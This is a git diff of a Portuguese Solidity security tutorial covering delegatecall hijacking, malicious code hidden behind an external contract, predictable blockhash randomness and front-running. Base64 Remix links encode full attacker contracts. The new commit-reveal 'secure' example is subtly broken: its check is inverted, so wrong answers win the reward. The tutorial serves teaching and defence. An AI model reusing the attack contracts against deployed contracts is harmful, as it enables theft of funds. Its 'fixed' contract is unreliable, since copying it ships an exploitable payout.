b1NvbWV0aGluZygpIGNoYW1hIEF0dGFjay5kb1NvbWV0aGluZygpIGUgYXF1aSB0ZW1vcwphIG11ZGFuY2EgZG8gcHJvcHJpZXRhcmlvLgoqLwoKY29udHJhY3QgTGliIHsKICAgIHVpbnQgcHVibGljIHNvbWVOdW1iZXI7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcodWludCBfbnVtKSBwdWJsaWMgewogICAgICAgIHNvbWVOdW1iZXIgPSBfbnVtOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgbGliOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50IHB1YmxpYyBzb21lTnVtYmVyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2xpYikgewogICAgICAgIGxpYiA9IF9saWI7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQgX251bSkgcHVibGljIHsKICAgICAgICBsaWIuZGVsZWdhdGVjYWxsKGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJkb1NvbWV0aGluZyh1aW50MjU2KSIsIF9udW0pKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIC8vIENlcnRpZmlxdWUtc2UgZGUgcXVlIG8gbGF5b3V0IGRlIGFybWF6YW5hZ2VtIGUgbyBtZXNtbyBxdWUgbyBkbyBIYWNrTWUKICAgIC8vIElzc28gcGVybWl0aXJhIGEgYXR1YWxpemFjYW8gY29ycmV0YSBkYXMgdmFyaWF2ZWlzIGRlIGVzdGFkbwogICAgYWRkcmVzcyBwdWJsaWMgbGliOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50IHB1YmxpYyBzb21lTnVtYmVyOwoKICAgIEhhY2tNZSBwdWJsaWMgaGFja01lOwoKICAgIGNvbnN0cnVjdG9yKEhhY2tNZSBfaGFja01lKSB7CiAgICAgICAgaGFja01lID0gSGFja01lKF9oYWNrTWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyB7CiAgICAgICAgLy8gc3Vic3RpdHVpIG8gZW5kZXJlY28gZG8gbGliCiAgICAgICAgaGFja01lLmRvU29tZXRoaW5nKHVpbnQodWludDE2MChhZGRyZXNzKHRoaXMpKSkpOwogICAgICAgIC8vIHBhc3NhIHF1YWxxdWVyIG51bWVybyBjb21vIGVudHJhZGEsIGEgZnVuY2FvIGRvU29tZXRoaW5nKCkgYWJhaXhvCiAgICAgICAgLy8gc2VyYSBjaGFtYWRhCiAgICAgICAgaGFja01lLmRvU29tZXRoaW5nKDEpOwogICAgfQoKICAgIC8vIGEgYXNzaW5hdHVyYSBkYSBmdW5jYW8gZGV2ZSBjb3JyZXNwb25kZXIgYSBkYSBIYWNrTWUuZG9Tb21ldGhpbmcoKQogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcodWludCBfbnVtKSBwdWJsaWMgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIH0KfQ==&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/escondendo-codigos-maliciosos-com-contrato-externo.md b/src/exemplos/hacks/escondendo-codigos-maliciosos-com-contrato-externo.md index 60d6758..f9c0e3a 100644 --- a/src/exemplos/hacks/escondendo-codigos-maliciosos-com-contrato-externo.md +++ b/src/exemplos/hacks/escondendo-codigos-maliciosos-com-contrato-externo.md @@ -1,14 +1,13 @@ # Escondendo Códigos Maliciosos com Contrato Externo -#### Vulnerabilidade +Vulnerabilidade -Em Solidity, qualquer endereço pode ser passado a um contrato, mesmo que o contrato nesse endereço não seja o contrato real que foi passado. - -Isso pode ser explorado para esconder um código malicioso. Vejamos como. +No Solidity qualquer endereço pode ser convertido em contrato específico, mesmo que o contrato no endereço não seja o que está sendo lançado. +Isso pode ser explorado para ocultar códigos maliciosos. Vamos ver como. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; /* Digamos que Alice pode ver o código de Foo e Bar mas não o de Mal. @@ -61,10 +60,10 @@ contract Mal { } ``` -#### Técnicas preventivas +Técnicas preventivas -* Inicialize um novo contrato dentro do constructor -* Torne o endereço do contrato externo `public` de forma que o código do contrato externo possa ser revisado +- Inicialize um novo contrato dentro do constructor +- Torne o endereço do contrato externo `public` de forma que o código do contrato externo possa ser revisado ```solidity Bar public bar; @@ -73,3 +72,7 @@ constructor() public { bar = new Bar(); } ``` + +## Teste no Remix + +- [ExternalContract.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkRpZ2Ftb3MgcXVlIEFsaWNlIHBvZGUgdmVyIG8gY29kaWdvIGRlIEZvbyBlIEJhciBtYXMgbmFvIG8gZGUgTWFsLgpFIG9idmlvIHBhcmEgQWxpY2UgcXVlIEZvby5jYWxsQmFyKCkgZXhlY3V0YSBvIGNvZGlnbyBkZW50cm8gZG8gQmFyLmxvZygpLgpDb250dWRvLCBFdmUgaW1wbGVtZW50YSBGb28gY29tIG8gZW5kZXJlY28gZG8gTWFsLCBkZSBmb3JtYSBxdWUgY2hhbWFuZG8gRm9vLmNhbGxCYXIoKQpzZXJhIGV4ZWN1dGFkbyBuYSB2ZXJkYWRlIG8gY29kaWdvIGVtIE1hbC4KKi8KCi8qCjEuIEV2ZSBpbXBsYW50YSBNYWwKMi4gRXZlIGltcGxlbWVudGEgRm9vIGNvbSBvIGVuZGVyZWNvIGRlIE1hbAozLiBBbGljZSBjaGFtYSBGb28uY2FsbEJhcigpIGFwb3MgbGVyIG8gY29kaWdvIGUganVsZ2FyIHF1ZSBlbGUgc2VqYQogICBzZWd1cm8gcGFyYSBzZXIgY2hhbWFkby4KNC4gQXBlc2FyIGRlIEFsaWNlIGVzcGVyYXIgcXVlIEJhci5sb2coKSBzZWphIGV4ZWN1dGFkbywgTWFsLmxvZygpIGZvaSBleGVjdXRhZG8uCiovCgpjb250cmFjdCBGb28gewogICAgQmFyIGJhcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9iYXIpIHsKICAgICAgICBiYXIgPSBCYXIoX2Jhcik7CiAgICB9CgogICAgZnVuY3Rpb24gY2FsbEJhcigpIHB1YmxpYyB7CiAgICAgICAgYmFyLmxvZygpOwogICAgfQp9Cgpjb250cmFjdCBCYXIgewogICAgZXZlbnQgTG9nKHN0cmluZyBtZXNzYWdlKTsKCiAgICBmdW5jdGlvbiBsb2coKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nKCJCYXIgd2FzIGNhbGxlZCIpOwogICAgfQp9CgovLyBFc3NlIGNvZGlnbyBlc3RhIGVzY29uZGlkbyBudW0gYXJxdWl2byBzZXBhcmFkbwpjb250cmFjdCBNYWwgewogICAgZXZlbnQgTG9nKHN0cmluZyBtZXNzYWdlKTsKCiAgICAvLyBmdW5jdGlvbiAoKSBleHRlcm5hbCB7CiAgICAvLyAgICAgZW1pdCBMb2coIk1hbCB3YXMgY2FsbGVkIik7CiAgICAvLyB9CgogICAgLy8gTmEgdmVyZGFkZSBub3MgcG9kZW1vcyBleGVjdXRhciBvIG1lc21vIGV4cGxvaXQgbWVzbW8gcXVlIGVzc2EgZnVuY2FvCiAgICAvLyBuYW8gZXhpc3RhLCB1c2FuZG8gbyBmYWxsYmFjawogICAgZnVuY3Rpb24gbG9nKCkgcHVibGljIHsKICAgICAgICBlbWl0IExvZygiTWFsIHdhcyBjYWxsZWQiKTsKICAgIH0KfQ==&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/fonte-de-aleatoriedade.md b/src/exemplos/hacks/fonte-de-aleatoriedade.md index afc850b..846f03b 100644 --- a/src/exemplos/hacks/fonte-de-aleatoriedade.md +++ b/src/exemplos/hacks/fonte-de-aleatoriedade.md @@ -1,12 +1,12 @@ # Fonte de Aleatoriedade -#### Vulnerabilidade +Vulnerabilidade `blockhash` e `block.timestamp` não são fontes confiáveis de ateatoriedade. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; /* NOTA: não pode usar blockhash no Remix, então use ganache-cli @@ -28,7 +28,7 @@ Mas vamos ver como é fácil ganhar. 3. Eve chama Attack.attack() e ganha 1 Ether O que aconteceu? -Attack computou a resposta correta simplesmente copiando o código que computa +Attack computou a resposta correta simplesmente copiando o código que computa o número aleatório */ @@ -65,6 +65,10 @@ contract Attack { } ``` -#### Técnicas preventivas +Técnicas preventivas -* Não use `blockhash` e `block.timestamp` como fonte de aleatoriedade +- Não use `blockhash` e `block.timestamp` como fonte de aleatoriedade + +## Teste no Remix + +- [Randomness.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCk5PVEE6IG5hbyBwb2RlIHVzYXIgYmxvY2toYXNoIG5vIFJlbWl4LCBlbnRhbyB1c2UgZ2FuYWNoZS1jbGkKCm5wbSBpIC1nIGdhbmFjaGUtY2xpCmdhbmFjaGUtY2xpCk5vIHJlbWl4IHRyb3F1ZSBvIGFtYmllbnRlIHBhcmEgbyBwcm92ZWRvciBXZWIzCiovCgovKgpHdWVzc1RoZVJhbmRvbU51bWJlciBlIHVtIGpvZ28gb25kZSB2b2NlIGdhbmhhIDEgRXRoZXIgc2Ugdm9jZSBhZHZpbmhhcgp1bSBudW1lcm8gcHNldWRvIGFsZWF0b3JpbyBnZXJhZG8gZGUgdW0gYmxvY28gZGUgaGFzaCBlIHRpbWVzdGFtcC4KCkEgcHJpbWVpcmEgdmlzdGEsIHBhcmVjZSBpbXBvc3NpdmVsIGFkdmluaGFyIG8gbnVtZXJvIGNvcnJldG8uCk1hcyB2YW1vcyB2ZXIgY29tbyBlIGZhY2lsIGdhbmhhci4KCjEuIEFsaWNlIGltcGxhbnRhIEd1ZXNzVGhlUmFuZG9tTnVtYmVyIGNvbSAxIEV0aGVyCjIuIEV2ZSBpbXBsZW1lbnRhIEF0dGFjawozLiBFdmUgY2hhbWEgQXR0YWNrLmF0dGFjaygpIGUgZ2FuaGEgMSBFdGhlcgoKTyBxdWUgYWNvbnRlY2V1PwpBdHRhY2sgY29tcHV0b3UgYSByZXNwb3N0YSBjb3JyZXRhIHNpbXBsZXNtZW50ZSBjb3BpYW5kbyBvIGNvZGlnbyBxdWUgY29tcHV0YSAKbyBudW1lcm8gYWxlYXRvcmlvCiovCgpjb250cmFjdCBHdWVzc1RoZVJhbmRvbU51bWJlciB7CiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBndWVzcyh1aW50IF9ndWVzcykgcHVibGljIHsKICAgICAgICB1aW50IGFuc3dlciA9IHVpbnQoCiAgICAgICAgICAgIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGJsb2NraGFzaChibG9jay5udW1iZXIgLSAxKSwgYmxvY2sudGltZXN0YW1wKSkKICAgICAgICApOwoKICAgICAgICBpZiAoX2d1ZXNzID09IGFuc3dlcikgewogICAgICAgICAgICAoYm9vbCBzZW50LCApID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiAxIGV0aGVyfSgiIik7CiAgICAgICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBBdHRhY2sgewogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBhdHRhY2soR3Vlc3NUaGVSYW5kb21OdW1iZXIgZ3Vlc3NUaGVSYW5kb21OdW1iZXIpIHB1YmxpYyB7CiAgICAgICAgdWludCBhbnN3ZXIgPSB1aW50KAogICAgICAgICAgICBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChibG9ja2hhc2goYmxvY2subnVtYmVyIC0gMSksIGJsb2NrLnRpbWVzdGFtcCkpCiAgICAgICAgKTsKCiAgICAgICAgZ3Vlc3NUaGVSYW5kb21OdW1iZXIuZ3Vlc3MoYW5zd2VyKTsKICAgIH0KCiAgICAvLyBGdW5jYW8gSGVscGVyIHBhcmEgY2hlY2FyIG8gYmFsYW5jbwogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/front-running.md b/src/exemplos/hacks/front-running.md index bc558d2..deb3707 100644 --- a/src/exemplos/hacks/front-running.md +++ b/src/exemplos/hacks/front-running.md @@ -1,12 +1,12 @@ # Front Running -#### Vulnerabilidade +Vulnerabilidade -Transações levam algum tempo antes de serem mineradas. Um invasor pode observar o pool de transações e enviar uma transação, inclui-la num bloco antes da transação original. Esse mecanismo pode ser usado para reordenar as transações em benefício dos invasores. +As transações levam algum tempo antes de serem extraídas. Um invasor pode observar o pool de transações e enviar uma transação, incluindo-a em um bloco antes da transação original. Esse mecanismo pode ser usado para reordenar transações em benefício do invasor. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; /* Alice cria um jogo de advinhação. @@ -19,7 +19,7 @@ Vejamos como esse contrato é vulnerável para front running. 2. Bob encontra o string correto que bate com o hash alvo. ("Ethereum") 3. Bob chama solve("Ethereum") com o preço de gás estabelecido em 15 gwei. 4. Eve está observando o pool das transações para submeter uma resposta. -5. Eve vê a resposta de Bob e chama solve("Ethereum") com um preço de gás mais +5. Eve vê a resposta de Bob e chama solve("Ethereum") com um preço de gás mais alto do que o de Bob (100 gwei). 6. A transação de Eve foi minerada antes da transação de Bob. Eve ganha a recompensa de 10 ether. @@ -48,7 +48,140 @@ contract FindThisHash { } ``` -#### Técnicas preventivas +Técnicas preventivas -* use esquema de commit-reveal -* use envio de submarino +- use o esquema commit-reveal ( https://medium.com/swlh/exploring-commit-reveal-schemes-on-ethereum-c4ff5a777db8 ) +- use o envio submarino ( https://libsubmarine.org/ ) + +Commit-Reveal Schemes + +Um commitment scheme é um algoritmo criptográfico usado para permitir que alguém se comprometa com um valor, mantendo-o oculto de outras pessoas com a capacidade de revelá-lo mais tarde. Os valores em um commitment scheme são obrigatórios, o que significa que ninguém pode alterá-los depois de confirmado. O esquema tem duas fases: uma fase de confirmação na qual um valor é escolhido e especificado e uma fase de revelação na qual o valor é revelado e verificado. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/Strings.sol"; + + +/* + Agora vamos ver como se proteger do front running usando o esquema de revelação de commit. +*/ + +/* +1. Alice implanta SecuredFindThisHash com 10 Ether. +2. Bob encontra a string correta que fará o hash para o hash de destino. ("Ethereum"). +3. Bob então encontra o keccak256(Endereço em letras minúsculas + Solução + Segredo). + Endereço é o endereço da carteira dele em letras minúsculas, a solução é "Ethereum", Secret é como uma senha ("mysecret") + que apenas Bob sabe qual Bob usa para confirmar e revelar a solução. + keccak2566("0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266Ethereummysecret") = '0xf95b1dd61edc3bd962cdea3987c6f55bcb714a02a2c3eb73bd960d6b4387fc36' +3. Bob então chama commitSolution("0xf95b1dd61edc3bd962cdea3987c6f55bcb714a02a2c3eb73bd960d6b4387fc36"), + onde ele confirma o hash da solução calculada com o preço do gás definido para 15 gwei. +4. Eve está observando o pool de transações para que a resposta seja enviada. +5. Eve vê a resposta de Bob e ele também chama commitSolution("0xf95b1dd61edc3bd962cdea3987c6f55bcb714a02a2c3eb73bd960d6b4387fc36") + com um preço de gás mais alto do que Bob (100 gwei). +6. A transação de Eve foi extraída antes da transação de Bob, mas Eve ainda não recebeu a recompensa. + Ele precisa chamar revelaSolution() com o segredo e a solução exatos, então digamos que ele está observando o pool de transações + para liderar Bob como ele fez anteriormente +7. Em seguida, Bob chama a revelaçãoSolution("Ethereum", "mysecret") com o preço do gás definido para 15 gwei; +8. Vamos considerar que Eve está observando o pool de transações, encontra a transação da solução de revelação de Bob e ele também chama + revelarSolution("Ethereum", "mysecret") com preço de gás mais alto que Bob (100 gwei) +9. Vamos considerar que desta vez também a transação de revelação de Eve foi extraída antes da transação de Bob, mas Eve será + revertido com o erro "Hash não corresponde". Como a função revelaSolution() verifica o hash usando + keccak256(msg.sender + solução + segredo). Portanto, desta vez, a véspera não consegue ganhar a recompensa. +10.Mas Bob's revelaSolution("Ethereum", "mysecret") passa na verificação de hash e recebe a recompensa de 10 ether. +*/ + + +contract SecuredFindThisHash { + + // Struct é usado para armazenar os detalhes do commit + struct Commit { + bytes32 solutionHash; + uint commitTime; + bool revealed; + } + + // O hash que é necessário para ser resolvido + bytes32 public hash = 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2; + + // Endereço do vencedor + address public winner; + + // Preço a ser recompensado + uint public reward; + + // Status do jogo + bool public ended; + + // Mapping para armazenar os detalhes do commit com endereço + mapping(address => Commit) commits; + + // Modifier para verificar se o jogo está ativo + modifier gameActive { + require(!ended, "Already ended"); + _; + } + + constructor() payable { + reward = msg.value; + } + + /* + Função de confirmação para armazenar o hash calculado usando keccak256 (endereço em minúsculas + solução + segredo). + Os usuários só podem se comprometer uma vez e se o jogo estiver ativo. + */ + function commitSolution(bytes32 _solutionHash) public gameActive { + Commit storage commit = commits[msg.sender]; + require(commit.commitTime == 0, "Already committed"); + commit.solutionHash = _solutionHash; + commit.commitTime = block.timestamp; + commit.revealed = false; + } + + /* + Função para obter os detalhes do commit. Ele retorna uma tupla de (solutionHash, commitTime, revelaStatus); + Os usuários podem obter a solução somente se o jogo estiver ativo e eles confirmaram um solutionHash + + */ + function getMySolution() public view gameActive returns(bytes32, uint, bool) { + Commit storage commit = commits[msg.sender]; + require(commit.commitTime != 0, "Not committed yet"); + return (commit.solutionHash, commit.commitTime, commit.revealed); + } + + /* + Função para revelar o commit e receber a recompensa. + Os usuários podem obter a solução de revelação somente se o jogo estiver ativo e eles confirmaram um solutionHash e ainda não foram revelados. + Ele gera um keccak256(msg.sender + solução + segredo) e o verifica com o hash confirmado anteriormente. + Os que estão na frente não poderão passar nesta verificação, pois o msg.sender é diferente. + Em seguida, a solução real é verificada usando keccak256(solution), se a solução corresponder, o vencedor é declarado, + o jogo termina e o valor da recompensa é enviado ao vencedor. + */ + function revealSolution (string memory _solution, string memory _secret) public gameActive { + Commit storage commit = commits[msg.sender]; + require(commit.commitTime != 0, "Not committed yet"); + require(!commit.revealed, "Already commited and revealed"); + + bytes32 solutionHash = keccak256(abi.encodePacked(Strings.toHexString(msg.sender), _solution, _secret)); + require(solutionHash == commit.solutionHash, "Hash doesn't match"); + + require(keccak256(abi.encodePacked(_solution)) != hash, "Incorrect answer"); + + winner = msg.sender; + ended = true; + + (bool sent,) = payable(msg.sender).call{value: reward}(""); + if(!sent){ + winner = address(0); + ended = false; + revert("Failed to send ether."); + } + } +} +``` + +## Teste no Remix + +- [FrontRunning.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkFsaWNlIGNyaWEgdW0gam9nbyBkZSBhZHZpbmhhY2FvLgpWb2NlIGdhbmhhIDEwIGV0aGVyIHNlIHZvY2UgZW5jb250cmFyIG8gc3RyaW5nIGNvcnJldG8gcXVlIGJhdGEgY29tIG8gaGFzaCBhbHZvClZlamFtb3MgY29tbyBlc3NlIGNvbnRyYXRvIGUgdnVsbmVyYXZlbCBwYXJhIGZyb250IHJ1bm5pbmcuCiovCgovKgoxLiBBbGljZSBpbXBsYW50YSBGaW5kVGhpc0hhc2ggY29tIDEwIEV0aGVyLgoyLiBCb2IgZW5jb250cmEgbyBzdHJpbmcgY29ycmV0byBxdWUgYmF0ZSBjb20gbyBoYXNoIGFsdm8uICgiRXRoZXJldW0iKQozLiBCb2IgY2hhbWEgc29sdmUoIkV0aGVyZXVtIikgY29tIG8gcHJlY28gZGUgZ2FzIGVzdGFiZWxlY2lkbyBlbSAxNSBnd2VpLgo0LiBFdmUgZXN0YSBvYnNlcnZhbmRvIG8gcG9vbCBkYXMgdHJhbnNhY29lcyBwYXJhIHN1Ym1ldGVyIHVtYSByZXNwb3N0YS4KNS4gRXZlIHZlIGEgcmVzcG9zdGEgZGUgQm9iIGUgY2hhbWEgc29sdmUoIkV0aGVyZXVtIikgY29tIHVtIHByZWNvIGRlIGdhcyBtYWlzCiAgIGFsdG8gZG8gcXVlIG8gZGUgQm9iICgxMDAgZ3dlaSkuCjYuIEEgdHJhbnNhY2FvIGRlIEV2ZSBmb2kgbWluZXJhZGEgYW50ZXMgZGEgdHJhbnNhY2FvIGRlIEJvYi4KICAgRXZlIGdhbmhhIGEgcmVjb21wZW5zYSBkZSAxMCBldGhlci4KCk8gcXVlIGFjb250ZWNldT8KVHJhbnNhY29lcyBsZXZhbSBhbGd1bSB0ZW1wbyBhbnRlcyBkZSBzZXJlbSBtaW5lcmFkYXMuClRyYW5zYWNvZXMgcXVlIGFpbmRhIG5hbyBmb3JhbSBtaW5lcmFkYXMgc2FvIGNvbG9jYWRhcyBubyBwb29sIGRlIHRyYW5zYWNvZXMuClRyYW5zYWNvZXMgY29tIHByZWNvIGRlIGdhcyBtYWlzIGFsdG8gc2FvIHRpcGljYW1lbnRlIG1pbmVyYWRhcyBwcmltZWlyby4KVW0gaW52YXNvciBvYnRlbSBhIHJlc3Bvc3RhIGRlIHBvb2wgZGUgdHJhbnNhY29lcywgZW52aWEgdW1hIHRyYW5zYWNhbyBjb20gdW0KcHJlY28gZGUgZ2FzIG1haXMgYWx0bywgZGUgZm9ybWEgcXVlIHN1YSB0cmFuc2FjYW8gc2VyYSBpbmNsdWlkYSBudW0gYmxvY28KYW50ZXMgZG8gb3JpZ2luYWwuCiovCgpjb250cmFjdCBGaW5kVGhpc0hhc2ggewogICAgYnl0ZXMzMiBwdWJsaWMgY29uc3RhbnQgaGFzaCA9CiAgICAgICAgMHg1NjRjY2FmNzU5NGQ2NmIxZWFhZWEyNGZlMDFmMDU4NWJmNTJlZTcwODUyYWY0ZWFjMGNjNGIwNDcxMWNkMGUyOwoKICAgIGNvbnN0cnVjdG9yKCkgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIHNvbHZlKHN0cmluZyBtZW1vcnkgc29sdXRpb24pIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZShoYXNoID09IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHNvbHV0aW9uKSksICJJbmNvcnJlY3QgYW5zd2VyIik7CgogICAgICAgIChib29sIHNlbnQsICkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IDEwIGV0aGVyfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQ==&version=soljson-v0.8.20+commit.a1b79de6.js) +- [PreventFrontRunning.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3JlbGVhc2UtdjQuNS9jb250cmFjdHMvdXRpbHMvU3RyaW5ncy5zb2wiOwoKCi8qCiAgIEFnb3JhIHZhbW9zIHZlciBjb21vIHNlIHByb3RlZ2VyIGRvIGZyb250IHJ1bm5pbmcgdXNhbmRvIG8gZXNxdWVtYSBkZSByZXZlbGFjYW8gZGUgY29tbWl0LgoqLwoKLyoKMS4gQWxpY2UgaW1wbGFudGEgU2VjdXJlZEZpbmRUaGlzSGFzaCBjb20gMTAgRXRoZXIuCjIuIEJvYiBlbmNvbnRyYSBhIHN0cmluZyBjb3JyZXRhIHF1ZSBmYXJhIG8gaGFzaCBwYXJhIG8gaGFzaCBkZSBkZXN0aW5vLiAoIkV0aGVyZXVtIikuCjMuIEJvYiBlbnRhbyBlbmNvbnRyYSBvIGtlY2NhazI1NihFbmRlcmVjbyBlbSBsZXRyYXMgbWludXNjdWxhcyArIFNvbHVjYW8gKyBTZWdyZWRvKS4KICAgRW5kZXJlY28gZSBvIGVuZGVyZWNvIGRhIGNhcnRlaXJhIGRlbGUgZW0gbGV0cmFzIG1pbnVzY3VsYXMsIGEgc29sdWNhbyBlICJFdGhlcmV1bSIsIFNlY3JldCBlIGNvbW8gdW1hIHNlbmhhICgibXlzZWNyZXQiKQogICBxdWUgYXBlbmFzIEJvYiBzYWJlIHF1YWwgQm9iIHVzYSBwYXJhIGNvbmZpcm1hciBlIHJldmVsYXIgYSBzb2x1Y2FvLgogICBrZWNjYWsyNTY2KCIweGYzOUZkNmU1MWFhZDg4RjZGNGNlNmFCODgyNzI3OWNmZkZiOTIyNjZFdGhlcmV1bW15c2VjcmV0IikgPSAnMHhmOTViMWRkNjFlZGMzYmQ5NjJjZGVhMzk4N2M2ZjU1YmNiNzE0YTAyYTJjM2ViNzNiZDk2MGQ2YjQzODdmYzM2JwozLiBCb2IgZW50YW8gY2hhbWEgY29tbWl0U29sdXRpb24oIjB4Zjk1YjFkZDYxZWRjM2JkOTYyY2RlYTM5ODdjNmY1NWJjYjcxNGEwMmEyYzNlYjczYmQ5NjBkNmI0Mzg3ZmMzNiIpLAogICBvbmRlIGVsZSBjb25maXJtYSBvIGhhc2ggZGEgc29sdWNhbyBjYWxjdWxhZGEgY29tIG8gcHJlY28gZG8gZ2FzIGRlZmluaWRvIHBhcmEgMTUgZ3dlaS4KNC4gRXZlIGVzdGEgb2JzZXJ2YW5kbyBvIHBvb2wgZGUgdHJhbnNhY29lcyBwYXJhIHF1ZSBhIHJlc3Bvc3RhIHNlamEgZW52aWFkYS4KNS4gRXZlIHZlIGEgcmVzcG9zdGEgZGUgQm9iIGUgZWxlIHRhbWJlbSBjaGFtYSBjb21taXRTb2x1dGlvbigiMHhmOTViMWRkNjFlZGMzYmQ5NjJjZGVhMzk4N2M2ZjU1YmNiNzE0YTAyYTJjM2ViNzNiZDk2MGQ2YjQzODdmYzM2IikKICAgY29tIHVtIHByZWNvIGRlIGdhcyBtYWlzIGFsdG8gZG8gcXVlIEJvYiAoMTAwIGd3ZWkpLgo2LiBBIHRyYW5zYWNhbyBkZSBFdmUgZm9pIGV4dHJhaWRhIGFudGVzIGRhIHRyYW5zYWNhbyBkZSBCb2IsIG1hcyBFdmUgYWluZGEgbmFvIHJlY2ViZXUgYSByZWNvbXBlbnNhLgogICBFbGUgcHJlY2lzYSBjaGFtYXIgcmV2ZWxhU29sdXRpb24oKSBjb20gbyBzZWdyZWRvIGUgYSBzb2x1Y2FvIGV4YXRvcywgZW50YW8gZGlnYW1vcyBxdWUgZWxlIGVzdGEgb2JzZXJ2YW5kbyBvIHBvb2wgZGUgdHJhbnNhY29lcwogICBwYXJhIGxpZGVyYXIgQm9iIGNvbW8gZWxlIGZleiBhbnRlcmlvcm1lbnRlCjcuIEVtIHNlZ3VpZGEsIEJvYiBjaGFtYSBhIHJldmVsYWNhb1NvbHV0aW9uKCJFdGhlcmV1bSIsICJteXNlY3JldCIpIGNvbSBvIHByZWNvIGRvIGdhcyBkZWZpbmlkbyBwYXJhIDE1IGd3ZWk7CjguIFZhbW9zIGNvbnNpZGVyYXIgcXVlIEV2ZSBlc3RhIG9ic2VydmFuZG8gbyBwb29sIGRlIHRyYW5zYWNvZXMsIGVuY29udHJhIGEgdHJhbnNhY2FvIGRhIHNvbHVjYW8gZGUgcmV2ZWxhY2FvIGRlIEJvYiBlIGVsZSB0YW1iZW0gY2hhbWEKICAgcmV2ZWxhclNvbHV0aW9uKCJFdGhlcmV1bSIsICJteXNlY3JldCIpIGNvbSBwcmVjbyBkZSBnYXMgbWFpcyBhbHRvIHF1ZSBCb2IgKDEwMCBnd2VpKQo5LiBWYW1vcyBjb25zaWRlcmFyIHF1ZSBkZXN0YSB2ZXogdGFtYmVtIGEgdHJhbnNhY2FvIGRlIHJldmVsYWNhbyBkZSBFdmUgZm9pIGV4dHJhaWRhIGFudGVzIGRhIHRyYW5zYWNhbyBkZSBCb2IsIG1hcyBFdmUgc2VyYQogICByZXZlcnRpZG8gY29tIG8gZXJybyAiSGFzaCBuYW8gY29ycmVzcG9uZGUiLiBDb21vIGEgZnVuY2FvIHJldmVsYVNvbHV0aW9uKCkgdmVyaWZpY2EgbyBoYXNoIHVzYW5kbwogICBrZWNjYWsyNTYobXNnLnNlbmRlciArIHNvbHVjYW8gKyBzZWdyZWRvKS4gUG9ydGFudG8sIGRlc3RhIHZleiwgYSB2ZXNwZXJhIG5hbyBjb25zZWd1ZSBnYW5oYXIgYSByZWNvbXBlbnNhLgoxMC5NYXMgQm9iJ3MgcmV2ZWxhU29sdXRpb24oIkV0aGVyZXVtIiwgIm15c2VjcmV0IikgcGFzc2EgbmEgdmVyaWZpY2FjYW8gZGUgaGFzaCBlIHJlY2ViZSBhIHJlY29tcGVuc2EgZGUgMTAgZXRoZXIuCiovCgoKY29udHJhY3QgU2VjdXJlZEZpbmRUaGlzSGFzaCB7CgogICAgLy8gU3RydWN0IGUgdXNhZG8gcGFyYSBhcm1hemVuYX